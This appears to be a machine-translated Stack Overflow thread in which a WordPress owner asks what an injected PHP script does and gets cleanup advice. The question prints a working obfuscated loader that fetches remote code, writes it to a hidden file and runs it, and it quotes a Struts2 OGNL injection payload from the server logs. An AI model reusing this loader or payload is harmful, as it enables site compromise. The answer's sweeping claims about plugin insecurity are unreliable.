Php WordPress代码中插入了奇怪的攻击脚本

Php WordPress代码中插入了奇怪的攻击脚本,php,wordpress,apache,security,php-5.3,Php,Wordpress,Apache,Security,Php 5.3,从昨天起无法访问WordPress网站,只显示了以此开头的消息 用于设置ABSPATH常量和加载wp-config.php文件的引导文件。然后wp-config.php文件将加载wp-settings.php文件,该文件将设置WordPress环境 我很快停用了该站点并查看了代码,在wp-inlcude/functions.PHP的几个部分中发现了一些插入wp-load.PHP、wp-setting.PHP的可疑PHP脚本。有人能告诉我它想做什么吗 你对我下一步的建议是什么?多亏了一份备份副本,

从昨天起无法访问WordPress网站,只显示了以此开头的消息

用于设置ABSPATH常量和加载wp-config.php文件的引导文件。然后wp-config.php文件将加载wp-settings.php文件,该文件将设置WordPress环境

我很快停用了该站点并查看了代码,在wp-inlcude/functions.PHP的几个部分中发现了一些插入wp-load.PHP、wp-setting.PHP的可疑PHP脚本。有人能告诉我它想做什么吗

你对我下一步的建议是什么?多亏了一份备份副本,我恢复了网页,看来攻击没有涉及到数据库,但我担心他们从中得到了什么样的信息

以下是脚本:

<?php
@ini_set('display_errors', '0');
error_reporting(0);
if (!$npDcheckClassBgp) {
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrLUvdAsS7swbOuvdPFbQdr9dm2WSGbE=";
if (ini_get('allow_url_fopen')) {
    function get_data_ya($url) {
        $data = file_get_contents($url);
        return $data;
    }
}
else {
    function get_data_ya($url) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
        $data = curl_exec($ch);
        curl_close($ch);
        return $data;
    }
}
function wp_cd($fd, $fa="")
{
   $fe = "wp_frmfunct";
   $len = strlen($fd);
   $ff = '';
   $n = $len>100 ? 8 : 2;
   while( strlen($ff)<$len )
   {
      $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
   }
   return $fd^$ff;
}
$reqw = $ay($ao($oa("$pass"), 'wp_function'));
preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
$dirs = glob("*", GLOB_ONLYDIR);
foreach ($dirs as $dira) {
    if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
    $subdirs = glob("$dira/*", GLOB_ONLYDIR);
    foreach ($subdirs as $subdira) {
        if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
    }
}
if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
fwrite($hdl, "<?php\n$mtchs[1]\n?>");
fclose($hdl);
include("{$eb}.$algo");
unlink("{$eb}.$algo");
$npDcheckClassBgp = 'aue';
}
?>

我在apache日志中发现:

文件名太长:访问/%{(#dm=@ognl。OgnlContext@DEFAULT_MEMBER_ACCESS)(#u memberAccess?(#u memberAccess=#dm):(#container=#context['com.opensymphony.xwork2.ActionContext.container'])(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl)。OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear())。(#ognlUtil.getexcludedclass().clear())(#context.setMemberAccess(#dm)))。(#res=@org.apache.struts2。ServletActionContext@getResponse())。(#res.addHeader('eresult','struts2_security_check'))失败/


你最好的办法是擦干净所有东西,从头开始。如果不可能:

  • 删除任何可疑的PHP文件,尤其是
    wp content
    目录中的文件
  • 检查所有WordPress PHP文件的最后修改日期。查找任何可疑的内容。(这些文件可能是伪造的,但攻击者很少打扰。)
  • 卸载你的所有插件。我检查过的几乎每个WordPress插件都充满了主要漏洞,甚至不值得报告。Automatic的任何东西通常都是安全的,但除此之外,所有赌注都没有。任何与电子邮件相关的东西(订阅、邮件列表等)此外,JetPack充满了漏洞——我检查了许多漏洞,但从未发现一个是安全的
  • 如果您需要更彻底,或者您的站点有特别敏感的数据,请询问此问题
  • 如果您的网站收集个人数据,包括电子邮件地址,请通知所有人您的网站已被泄露。在某些司法管辖区和行业,这可能是法律要求的;如果您担心自己的法律义务,请咨询律师

  • 谢谢,我将在该页面中询问。是的,我完全删除了受损网站,并替换为备份副本,因此wordpress中的所有受损代码现在都必须消失。它是一个博客,因此除了更新博客的用户之外,没有用户管理。将检查它是否收集了一些通知电子邮件。@AlisonLopez您应该删除它不管你的第三方插件是什么,都要运行WordPress的自动更新功能。如果你让它处于相同的状态,它很可能会再次被破坏。是的!这就是为什么我要问…知道从哪里开始改变,这样就不会再发生这种事了!谢谢!@AlisonLopez是的,第三步是这里的关键:WordPress的插件生态系统被破坏了n、 如果你使用第三方插件,你会被黑客攻击——这是没有办法的。